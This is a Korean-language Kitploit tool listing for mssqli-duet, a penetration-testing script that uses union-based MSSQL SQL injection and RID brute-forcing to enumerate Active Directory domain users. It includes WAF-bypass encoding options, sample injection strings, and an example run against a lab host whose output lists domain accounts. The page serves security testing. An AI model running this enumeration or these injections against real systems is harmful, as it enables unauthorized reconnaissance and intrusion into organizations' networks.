Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mssqli-duet — MSSQL용 SQL 인젝션 스크립트로, RID 무차별 대입을 기반으로 Active Directory 환경에서 도메인 사용자를 추출합니다. | Kitploit
도구/GitHubGitHub/keramas/mssqli-duet
Information GatheringWAF BypassPenetration Testing
GitHubkeramas/mssqli-duet

mssqli-duet

MSSQL용 SQL 인젝션 스크립트로, RID 무차별 대입을 기반으로 Active Directory 환경에서 도메인 사용자를 추출합니다.

저장소 보기
90186년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MSSQLi-DUET - MSSQL 주입 기반 도메인 사용자 열거 도구

Active Directory 환경에서 RID 무차별 대입을 기반으로 도메인 사용자를 추출하는 MSSQL용 SQL 주입 스크립트입니다. SQLmap의 탐지 회피 함수 구현을 통해 다양한 WAF 우회 기술을 지원합니다. 상황과 환경에 따라 사용자가 추가 탐지 회피 함수를 통합할 수 있습니다.

두 가지 형태로 제공됩니다: 터미널에서 사용할 수 있는 직접적인 Python 스크립트 또는 간단한 GUI 탐색을 위한 Burp Suite 플러그인.

현재는 유니온 기반 주입만 지원합니다. 도구의 기능과 정확성을 완전히 테스트하려면 더 많은 샘플과 테스트 사례가 필요합니다. 작동하지 않는 상황을 만나면 피드백과 의견을 크게 환영합니다.

또한 필요에 따라 스크립트와 플러그인을 맞춤 구성하는 것도 어렵지 않습니다. 문제 해결을 위해 참고 사항 섹션을 꼭 읽어보세요.

Burp Suite 플러그인

플러그인을 Burp Suite에 로드한 후, 요청을 마우스 오른쪽 버튼으로 클릭하고 MSSQLi-DUET으로 보냅니다. 파라미터 등에 대한 자세한 내용은 아래에 설명되어 있습니다.

요청이 요청 창에 채워지며, 그 위의 필드만 채우면 됩니다. 실행을 누르면 결과가 쉽게 복사하여 붙여넣을 수 있도록 결과 출력 상자에 배치됩니다.

Python 스크립트 사용법

스크립트 도움말

root@kitploit:~
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
                      [-o OUTFILE] -r REQUEST_FILE

MSSQLi-DUET - MSSQL (주입 기반) 도메인 사용자 열거 도구

선택적 인수:
  -h, --help            이 도움말 메시지를 표시하고 종료합니다.
  -i INJECTION, --injection INJECTION
                        주입 지점. 쿼리를 이스케이프하는 데 필요한 데이터만 제공하세요.
  -e ENCODING, --encoding ENCODING
                        인코딩 유형: unicode, doubleencode, unmagicquotes
  -t TIME_DELAY, --time_delay TIME_DELAY
                        요청의 시간 지연.
  -rid RID_RANGE, --rid_range RID_RANGE
                        무차별 대입할 RID의 하이픈으로 연결된 범위. 예: 1000-1200
  -ssl SSL, --ssl SSL   HTTPS를 위한 플래그 추가
  -p PARAMETER, --parameter PARAMETER
                        취약한 파라미터
  -proxy PROXY, --proxy PROXY
                        프록시 연결 문자열. 예: 127.0.0.1:8080
  -o OUTFILE, --outfile OUTFILE
                        사용자 이름 열거 결과를 위한 출력 파일.
  -r REQUEST_FILE, --request_file REQUEST_FILE
                        Burp에서 저장한 원시 요청 파일

열거 준비 완료!

사용 방법

애플리케이션에서 유니온 기반 SQL 주입을 식별한 후, Burp Suite의 '파일로 복사' 기능을 사용하여 원시 요청을 복사합니다.

저장된 요청을 -r 플래그와 함께 DUET에 전달하세요. 취약한 파라미터와 주입 지점을 지정하십시오. 예를 들어, "element" 파라미터가 SQL 주입에 취약하다면 -p는 "element"가 됩니다. DUET은 모든 SQL 주입 쿼리를 자동으로 구성하지만, 초기 주입에 대한 사양을 제공해야 합니다. 즉, 주입이 파라미터 데이터 뒤의 작은따옴표 하나로 인해 발생하는 경우, 이 값을 -i 인수에 지정하면 됩니다.

root@kitploit:~
예: test' 
    test'))
    test")"

예제

root@kitploit:~
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] 수집된 요청 데이터:
대상 URL = http://192.168.11.22/search2.php?element=carbon
메서드 = GET
Content-Type = application/x-www-form-urlencoded


[+] 테이블의 열 개수 확인 중...
        [!] 열 개수는 3입니다.
[+] 열 유형 확인 중...
        [!] 열 유형은 null입니다.
[+] 도메인 이름 검색 중...
        [+] 도메인 = NEUTRINO
[+] 도메인 SID 검색 중...
S-1-5-21-4142252318-1896537706-4233180933-

[+] SID를 통해 Active Directory 열거 중...

NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql

참고 사항

발견된 열의 캐스팅 및 유형 제한에 따라 스크립트를 수정해야 할 수 있습니다.
여기에는 페이로드의 열 위치를 전환하는 수정과 오류를 발생시키지 않는 열 유형을 고려한 쿼리 문자열 자체의 수정이 포함됩니다.

또한 열 개수를 결정하는 로직이 현재 최상이 아니므로, 적절한 결정을 위해 일부 비교를 주석 처리해야 할 수도 있습니다.

전반적으로 Burp에서 전송되는 요청을 살펴보고, 자신이 처한 SQL 주입 환경에 맞게 스크립트를 조정하세요.

참고 자료

https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

도구 다운로드